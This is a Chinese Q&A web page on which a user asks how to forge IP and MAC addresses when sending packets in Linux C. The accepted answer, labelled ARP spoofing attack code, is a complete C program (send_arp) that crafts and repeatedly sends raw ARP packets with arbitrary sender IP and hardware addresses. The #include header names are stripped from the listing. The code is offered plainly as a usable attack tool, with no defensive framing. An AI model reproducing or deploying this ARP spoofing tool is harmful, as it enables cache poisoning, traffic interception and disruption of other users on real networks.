永发信息网

Linux C编程, 如何仿造ip、mac地址发送报文呢? 是利用ARP协议漏洞吗?有没有源代码借鉴下~~

答案:1  悬赏:40  手机版
解决时间 2021-03-23 03:37
Linux C编程, 如何仿造ip、mac地址发送报文呢? 是利用ARP协议漏洞吗?有没有源代码借鉴下~~
最佳答案
一个arp欺骗攻击的代码如下:


#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. \n"
"usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);

int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}

number = atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data, DEFAULT_DEVICE);
for (j = 0; j < number; j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}

void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}

void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
怎么样咨询警察
州委机关公新住宅小区我想知道这个在什么地方
WOW公会签名怎么弄
爱情看缘分的诗句,写缘分的句子 40分
下列加线字的注音无误的一组是A.诤谏(jiàn
八字霸气口号家族,班口号 四句第一句是团结一
明艳鞋坊在哪里啊,我有事要去这个地方
性格偏执的人究竟有多可怕
浩硕整体家装装修质量怎么样?
包头市科二考试第十考场在哪?坐什么车去?
单选题下列变化属于物理变化的是A.抹在墙壁上
南京社保卡怎么查询,南京社保卡如何在网上查
什么叫“单调变换”?
请问在一天中什么时候的身高最准
寻仙新出乘风法师,选什么人物好呢?(男的)
推荐资讯
零度9吧我想知道这个在什么地方
za爽肤水保湿好不好?
呀呀哟呀呀一首男声英文歌后面是说唱
太平洋保险意外伤害险80万,伤残鉴定10级能赔
看英文报的英文怎么写,王康 英文名叫什么好?
初三励志语录唯美,梦想励志的句子
皮卡堂过家家升级了庭院还可以复原吗
皮衣外面的蝴蝶结怎么系
两个人生气,男朋友5天不和你联系,这样是不
奇先生的水果店地址有知道的么?有点事想过去
传祺gs8无线充电功能要求用什么手机
百消丹和逍遥丸哪个好,百消丹啥牌子的好
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?